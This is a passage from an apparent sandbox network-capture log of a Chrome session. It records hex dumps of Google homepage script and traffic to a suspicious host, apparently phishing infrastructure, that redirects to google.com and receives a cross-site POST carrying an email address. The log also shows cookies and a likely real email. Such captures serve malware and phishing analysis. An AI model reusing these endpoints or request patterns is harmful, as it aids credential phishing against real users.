h=e(a),k=h.left+(c?0:window.pageXOffset),m=h.top+(c?0:window.pageYOffset),n=h.width,f=h.height,g=0;if(!b&&f<=0&&n<=0)return g;b=window.innerHeight\|\|document.documentElement.clientHeight;m+f<0?g=2:m>=b&&(g=4);if(k+n
2024-10-07 18:59:47 UTC	1390	IN	Data Raw: 3a 62 7c 7c 78 26 26 74 68 69 73 2e 69 7c 7c 74 68 69 73 2e 6a 7c 7c 74 68 69 73 2e 6c 3f 62 3d 21 31 3a 28 62 3d 74 68 69 73 2e 67 2e 73 72 63 2c 62 3d 74 79 70 65 6f 66 20 62 21 3d 3d 22 73 74 72 69 6e 67 22 7c 7c 21 62 2c 61 3d 74 68 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6d 70 22 29 2c 62 3d 0a 61 21 3d 3d 6e 75 6c 6c 3f 61 3d 3d 3d 22 31 22 3a 62 7c 7c 74 68 69 73 2e 67 2e 63 6f 6d 70 6c 65 74 65 29 3b 74 68 69 73 2e 41 3d 62 3b 78 7c 7c 74 68 69 73 2e 41 7c 7c 74 68 69 73 2e 69 7c 7c 45 28 74 68 69 73 29 3b 77 26 26 21 63 26 26 46 28 74 68 69 73 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 72 6c 6c 28 61 2e 67 2c 21 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 47 28 61 2c 44 61 74 65 2e 6e 6f Data Ascii: :b\|\|x&&this.i\|\|this.j\|\|this.l?b=!1:(b=this.g.src,b=typeof b!=="string"\|\|!b,a=this.g.getAttribute("data-cmp"),b=a!==null?a==="1":b\|\|this.g.complete);this.A=b;x\|\|this.A\|\|this.i\|\|E(this);w&&!c&&F(this)},E=function(a){google.rll(a.g,!0,function(){G(a,Date.no
2024-10-07 18:59:47 UTC	1390	IN	Data Raw: 22 29 29 7b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 47 28 49 28 61 2c 76 6f 69 64 20 30 2c 21 30 2c 21 30 29 2c 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 61 29 7b 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 28 61 29 7d 3b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 3d 7b 74 3a 7b 73 74 61 72 74 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 2c 65 3a 7b 7d 2c 6d 3a 7b 7d 7d 7d 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 7c 7c 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 28 61 29 3b 63 3d 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 44 Data Ascii: ")){var b=Date.now();G(I(a,void 0,!0,!0),b)}}function K(a){google.c.oil(a)};google.timers={};google.startTick=function(a){google.timers[a]={t:{start:Date.now()},e:{},m:{}}};google.tick=function(a,b,c){google.timers[a]\|\|google.startTick(a);c=c!==void 0?c:D
2024-10-07 18:59:47 UTC	1390	IN	Data Raw: 65 72 73 2e 6c 6f 61 64 2e 74 2e 73 74 61 72 74 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 73 74 61 72 74 3b 66 75 6e 63 74 69 6f 6e 20 50 28 61 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3d 3d 3d 22 68 69 64 64 65 6e 22 29 7b 67 6f 6f 67 6c 65 2e 63 2e 66 68 3d 61 3b 76 61 72 20 62 3b 74 26 26 28 62 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2b 61 29 29 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 28 22 6c 6f 61 64 22 2c 22 66 68 74 22 2c 62 29 3b 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 51 28 61 29 7b 50 28 61 2e 74 69 6d 65 53 74 61 6d 70 29 26 26 43 28 64 6f 63 75 6d 65 6e 74 2c 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 51 2c 21 30 29 7d 67 6f 6f 67 6c 65 2e 63 2e 66 Data Ascii: ers.load.t.start=google.stvsc.start;function P(a){if(document.visibilityState==="hidden"){google.c.fh=a;var b;t&&(b=Math.floor(t+a));google.tick("load","fht",b);return!0}return!1}function Q(a){P(a.timeStamp)&&C(document,"visibilitychange",Q,!0)}google.c.f
2024-10-07 18:59:47 UTC	132	IN	Data Raw: 72 74 21 3d 3d 76 6f 69 64 20 30 26 26 28 63 2e 77 73 72 74 3d 62 2e 77 73 72 74 29 3b 69 66 28 68 29 66 6f 72 28 76 61 72 20 6b 3d 30 2c 6d 3b 6d 3d 75 61 5b 6b 2b 2b 5d 3b 29 7b 76 61 72 20 6e 3d 65 5b 6d 5d 3b 6e 26 26 28 63 5b 6d 5d 3d 4d 61 74 68 2e 6d 61 78 28 6e 2d 68 2c 30 29 29 7d 64 3e 30 26 26 28 63 2e 67 73 61 73 72 74 3d 62 2e 74 2e 73 74 61 72 74 2d 64 29 3b 62 3d 62 2e 65 0d 0a Data Ascii: rt!==void 0&&(c.wsrt=b.wsrt);if(h)for(var k=0,m;m=ua[k++];){var n=e[m];n&&(c[m]=Math.max(n-h,0))}d>0&&(c.gsasrt=b.t.start-d);b=b.e
2024-10-07 18:59:47 UTC	308	IN	Data Raw: 31 32 64 0d 0a 3b 61 3d 22 2f 67 65 6e 5f 32 30 34 3f 73 3d 22 2b 67 6f 6f 67 6c 65 2e 73 6e 2b 22 26 74 3d 22 2b 61 2b 22 26 61 74 79 70 3d 63 73 69 26 65 69 3d 22 2b 67 6f 6f 67 6c 65 2e 6b 45 49 2b 22 26 72 74 3d 22 3b 64 3d 22 22 3b 66 6f 72 28 76 61 72 20 66 20 69 6e 20 63 29 61 2b 3d 22 22 2b 64 2b 66 2b 22 2e 22 2b 63 5b 66 5d 2c 64 3d 22 2c 22 3b 66 6f 72 28 76 61 72 20 67 20 69 6e 20 62 29 61 2b 3d 22 26 22 2b 67 2b 22 3d 22 2b 62 5b 67 5d 3b 66 3d 61 3b 67 3d 22 22 3b 61 3d 5b 5d 3b 70 2e 5f 63 73 68 69 64 26 26 0a 61 2e 70 75 73 68 28 5b 22 63 73 68 69 64 22 2c 70 2e 5f 63 73 68 69 64 5d 29 3b 62 3d 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 21 3d 3d 76 6f 69 64 20 30 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 21 3d 3d 76 6f 69 64 Data Ascii: 12d;a="/gen_204?s="+google.sn+"&t="+a+"&atyp=csi&ei="+google.kEI+"&rt=";d="";for(var f in c)a+=""+d+f+"."+c[f],d=",";for(var g in b)a+="&"+g+"="+b[g];f=a;g="";a=[];p._cshid&&a.push(["cshid",p._cshid]);b=window.google!==void 0&&window.google.kOPI!==void

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49817	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:49 UTC	354	OUT	GET /psszs/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:49 UTC	765	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 18:59:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://google.com X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A0E2HDFfAyj4E6v0mdp0S5BAUA9hzUiA85Uag92BzuL9oBxKW3NKDJ579rTtAbAkc89HFXQW1qCOc62uRmi%2BSo68wN23%2B65sod0o1VKGXTt%2FWpH5nSErlYWkmuVu8OdeI5ITn3dFAmHh7ow%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cf0216a7da0729f-EWR
2024-10-07 18:59:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49818	142.250.186.36	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:50 UTC	615	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
2024-10-07 18:59:50 UTC	1201	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:50 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-YJx-zdpHGc_bUbFnD-blUw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-07 18:59:50 UTC	189	IN	Data Raw: 32 37 33 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f Data Ascii: 2737<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/goo
2024-10-07 18:59:50 UTC	1390	IN	Data Raw: 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e 47 6f 6f 67 6c 65 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 59 4a 78 2d 7a 64 70 48 47 63 5f 62 55 62 46 6e 44 2d 62 6c 55 77 22 3e 77 69 6e 64 6f 77 2e 5f 68 73 74 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 22 53 65 61 72 63 68 48 65 61 64 53 74 61 72 74 22 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 59 4a 78 2d 7a 64 70 48 47 63 5f 62 55 62 46 6e 44 2d 62 6c 55 77 Data Ascii: gleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="YJx-zdpHGc_bUbFnD-blUw">window._hst=Date.now();performance&&performance.mark&&performance.mark("SearchHeadStart");</script><script nonce="YJx-zdpHGc_bUbFnD-blUw
2024-10-07 18:59:50 UTC	1390	IN	Data Raw: 22 29 2b 22 3f 61 74 79 70 3d 69 26 63 74 3d 22 2b 53 74 72 69 6e 67 28 61 29 2b 22 26 63 61 64 3d 22 2b 28 62 2b 65 2b 64 29 7d 3b 6d 3d 67 6f 6f 67 6c 65 2e 6b 45 49 3b 67 6f 6f 67 6c 65 2e 67 65 74 45 49 3d 70 3b 67 6f 6f 67 6c 65 2e 67 65 74 4c 45 49 3d 71 3b 67 6f 6f 67 6c 65 2e 6d 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 67 6f 6f 67 6c 65 2e 6c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 6b 2c 65 29 7b 65 3d 65 3d 3d 3d 76 6f 69 64 20 30 3f 6c 3a 65 3b 63 7c 7c 28 63 3d 74 28 61 2c 62 2c 65 2c 64 2c 6b 29 29 3b 69 66 28 63 3d 72 28 63 29 29 7b 61 3d 6e 65 77 20 49 6d 61 67 65 3b 76 61 72 20 67 3d 6e 2e 6c 65 6e 67 74 68 3b 6e 5b 67 5d 3d 61 3b 61 2e 6f 6e 65 72 72 6f 72 3d 61 2e 6f 6e 6c 6f 61 64 Data Ascii: ")+"?atyp=i&ct="+String(a)+"&cad="+(b+e+d)};m=google.kEI;google.getEI=p;google.getLEI=q;google.ml=function(){return null};google.log=function(a,b,c,d,k,e){e=e===void 0?l:e;c\|\|(c=t(a,b,e,d,k));if(c=r(c)){a=new Image;var g=n.length;n[g]=a;a.onerror=a.onload
2024-10-07 18:59:50 UTC	1390	IN	Data Raw: 6c 65 6d 65 6e 74 29 69 66 28 61 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 41 22 29 7b 61 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 68 72 65 66 22 29 3d 3d 3d 22 31 22 3b 62 72 65 61 6b 20 61 7d 61 3d 21 31 7d 61 26 26 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 2c 21 30 29 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 68 73 3d 7b 68 3a 74 72 75 65 2c 6e 68 73 3a 66 61 6c 73 65 2c 73 69 65 3a 66 61 6c 73 65 7d 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 63 3d 7b 62 74 66 69 3a 66 61 6c 73 65 2c 63 34 74 3a 74 72 75 65 2c 63 61 66 3a 66 61 6c 73 65 2c 63 61 70 3a 32 30 30 30 2c 63 66 72 3a 66 61 6c 73 65 2c 63 6c 69 3a 74 72 75 65 2c Data Ascii: lement)if(a.tagName==="A"){a=a.getAttribute("data-nohref")==="1";break a}a=!1}a&&b.preventDefault()},!0);}).call(this);(function(){google.hs={h:true,nhs:false,sie:false};})();(function(){google.c={btfi:false,c4t:true,caf:false,cap:2000,cfr:false,cli:true,
2024-10-07 18:59:50 UTC	1390	IN	Data Raw: 3d 3d 22 30 70 78 22 29 29 3a 21 31 7d 0a 66 75 6e 63 74 69 6f 6e 20 65 61 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 68 3d 65 28 61 29 2c 6b 3d 68 2e 6c 65 66 74 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 58 4f 66 66 73 65 74 29 2c 6d 3d 68 2e 74 6f 70 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 59 4f 66 66 73 65 74 29 2c 6e 3d 68 2e 77 69 64 74 68 2c 66 3d 68 2e 68 65 69 67 68 74 2c 67 3d 30 3b 69 66 28 21 62 26 26 66 3c 3d 30 26 26 6e 3c 3d 30 29 72 65 74 75 72 6e 20 67 3b 62 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 3b 6d 2b 66 3c 30 3f 67 3d 32 3a 6d 3e 3d 62 26 26 28 67 3d 34 29 3b 69 66 28 6b 2b 6e Data Ascii: =="0px")):!1}function ea(a,b,c,d,e){var h=e(a),k=h.left+(c?0:window.pageXOffset),m=h.top+(c?0:window.pageYOffset),n=h.width,f=h.height,g=0;if(!b&&f<=0&&n<=0)return g;b=window.innerHeight\|\|document.documentElement.clientHeight;m+f<0?g=2:m>=b&&(g=4);if(k+n
2024-10-07 18:59:50 UTC	1390	IN	Data Raw: 3a 62 7c 7c 78 26 26 74 68 69 73 2e 69 7c 7c 74 68 69 73 2e 6a 7c 7c 74 68 69 73 2e 6c 3f 62 3d 21 31 3a 28 62 3d 74 68 69 73 2e 67 2e 73 72 63 2c 62 3d 74 79 70 65 6f 66 20 62 21 3d 3d 22 73 74 72 69 6e 67 22 7c 7c 21 62 2c 61 3d 74 68 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6d 70 22 29 2c 62 3d 0a 61 21 3d 3d 6e 75 6c 6c 3f 61 3d 3d 3d 22 31 22 3a 62 7c 7c 74 68 69 73 2e 67 2e 63 6f 6d 70 6c 65 74 65 29 3b 74 68 69 73 2e 41 3d 62 3b 78 7c 7c 74 68 69 73 2e 41 7c 7c 74 68 69 73 2e 69 7c 7c 45 28 74 68 69 73 29 3b 77 26 26 21 63 26 26 46 28 74 68 69 73 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 72 6c 6c 28 61 2e 67 2c 21 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 47 28 61 2c 44 61 74 65 2e 6e 6f Data Ascii: :b\|\|x&&this.i\|\|this.j\|\|this.l?b=!1:(b=this.g.src,b=typeof b!=="string"\|\|!b,a=this.g.getAttribute("data-cmp"),b=a!==null?a==="1":b\|\|this.g.complete);this.A=b;x\|\|this.A\|\|this.i\|\|E(this);w&&!c&&F(this)},E=function(a){google.rll(a.g,!0,function(){G(a,Date.no
2024-10-07 18:59:50 UTC	1390	IN	Data Raw: 22 29 29 7b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 47 28 49 28 61 2c 76 6f 69 64 20 30 2c 21 30 2c 21 30 29 2c 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 61 29 7b 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 28 61 29 7d 3b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 3d 7b 74 3a 7b 73 74 61 72 74 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 2c 65 3a 7b 7d 2c 6d 3a 7b 7d 7d 7d 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 7c 7c 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 28 61 29 3b 63 3d 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 44 Data Ascii: ")){var b=Date.now();G(I(a,void 0,!0,!0),b)}}function K(a){google.c.oil(a)};google.timers={};google.startTick=function(a){google.timers[a]={t:{start:Date.now()},e:{},m:{}}};google.tick=function(a,b,c){google.timers[a]\|\|google.startTick(a);c=c!==void 0?c:D
2024-10-07 18:59:50 UTC	1390	IN	Data Raw: 65 72 73 2e 6c 6f 61 64 2e 74 2e 73 74 61 72 74 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 73 74 61 72 74 3b 66 75 6e 63 74 69 6f 6e 20 50 28 61 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3d 3d 3d 22 68 69 64 64 65 6e 22 29 7b 67 6f 6f 67 6c 65 2e 63 2e 66 68 3d 61 3b 76 61 72 20 62 3b 74 26 26 28 62 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2b 61 29 29 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 28 22 6c 6f 61 64 22 2c 22 66 68 74 22 2c 62 29 3b 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 51 28 61 29 7b 50 28 61 2e 74 69 6d 65 53 74 61 6d 70 29 26 26 43 28 64 6f 63 75 6d 65 6e 74 2c 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 51 2c 21 30 29 7d 67 6f 6f 67 6c 65 2e 63 2e 66 Data Ascii: ers.load.t.start=google.stvsc.start;function P(a){if(document.visibilityState==="hidden"){google.c.fh=a;var b;t&&(b=Math.floor(t+a));google.tick("load","fht",b);return!0}return!1}function Q(a){P(a.timeStamp)&&C(document,"visibilitychange",Q,!0)}google.c.f
2024-10-07 18:59:50 UTC	128	IN	Data Raw: 72 74 21 3d 3d 76 6f 69 64 20 30 26 26 28 63 2e 77 73 72 74 3d 62 2e 77 73 72 74 29 3b 69 66 28 68 29 66 6f 72 28 76 61 72 20 6b 3d 30 2c 6d 3b 6d 3d 75 61 5b 6b 2b 2b 5d 3b 29 7b 76 61 72 20 6e 3d 65 5b 6d 5d 3b 6e 26 26 28 63 5b 6d 5d 3d 4d 61 74 68 2e 6d 61 78 28 6e 2d 68 2c 30 29 29 7d 64 3e 30 26 26 28 63 2e 67 73 61 73 72 74 3d 62 2e 74 2e 73 74 61 72 74 2d 64 29 3b 62 0d 0a Data Ascii: rt!==void 0&&(c.wsrt=b.wsrt);if(h)for(var k=0,m;m=ua[k++];){var n=e[m];n&&(c[m]=Math.max(n-h,0))}d>0&&(c.gsasrt=b.t.start-d);b
2024-10-07 18:59:50 UTC	311	IN	Data Raw: 31 33 30 0d 0a 3d 62 2e 65 3b 61 3d 22 2f 67 65 6e 5f 32 30 34 3f 73 3d 22 2b 67 6f 6f 67 6c 65 2e 73 6e 2b 22 26 74 3d 22 2b 61 2b 22 26 61 74 79 70 3d 63 73 69 26 65 69 3d 22 2b 67 6f 6f 67 6c 65 2e 6b 45 49 2b 22 26 72 74 3d 22 3b 64 3d 22 22 3b 66 6f 72 28 76 61 72 20 66 20 69 6e 20 63 29 61 2b 3d 22 22 2b 64 2b 66 2b 22 2e 22 2b 63 5b 66 5d 2c 64 3d 22 2c 22 3b 66 6f 72 28 76 61 72 20 67 20 69 6e 20 62 29 61 2b 3d 22 26 22 2b 67 2b 22 3d 22 2b 62 5b 67 5d 3b 66 3d 61 3b 67 3d 22 22 3b 61 3d 5b 5d 3b 70 2e 5f 63 73 68 69 64 26 26 0a 61 2e 70 75 73 68 28 5b 22 63 73 68 69 64 22 2c 70 2e 5f 63 73 68 69 64 5d 29 3b 62 3d 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 21 3d 3d 76 6f 69 64 20 30 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 21 3d 3d Data Ascii: 130=b.e;a="/gen_204?s="+google.sn+"&t="+a+"&atyp=csi&ei="+google.kEI+"&rt=";d="";for(var f in c)a+=""+d+f+"."+c[f],d=",";for(var g in b)a+="&"+g+"="+b[g];f=a;g="";a=[];p._cshid&&a.push(["cshid",p._cshid]);b=window.google!==void 0&&window.google.kOPI!==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49820	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:51 UTC	751	OUT	POST /check_add_user/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive Content-Length: 77 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:51 UTC	77	OUT	Data Raw: 65 6d 61 69 6c 3d 64 73 79 68 72 65 25 34 30 6f 6c 67 6f 6f 6e 69 6b 2e 63 6f 6d 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 53 48 41 5a 4f 52 4e 76 6d 35 4f 6d 6e 57 45 33 26 73 6c 75 67 3d 63 68 65 63 6b 5f 61 64 64 5f 75 73 65 72 Data Ascii: email=dsyhre%40olgoonik.com&NAMEOFTHEGUY=SHAZORNvm5OmnWE3&slug=check_add_user
2024-10-07 18:59:51 UTC	707	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:51 GMT Content-Type: application/json Content-Length: 18 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zk8BpYtW0K6tgESuehm%2F%2BvkgDlUnTqg47yrKkC8IJohXwjA3TY01Q8mq8zT0QQLZjn04mnZsIAje2Murk1MJBJcgouNeYbRn5lh%2FVjXOiO%2FLOkeiX2CaV5wz4Oj3LzJHhUKfbuQ6MQgTUmI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf021779eab0f36-EWR
2024-10-07 18:59:51 UTC	18	IN	Data Raw: 7b 22 64 6f 6e 65 22 3a 20 22 6e 6f 74 79 65 74 22 7d Data Ascii: {"done": "notyet"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49821	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:52 UTC	363	OUT	GET /check_add_user/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
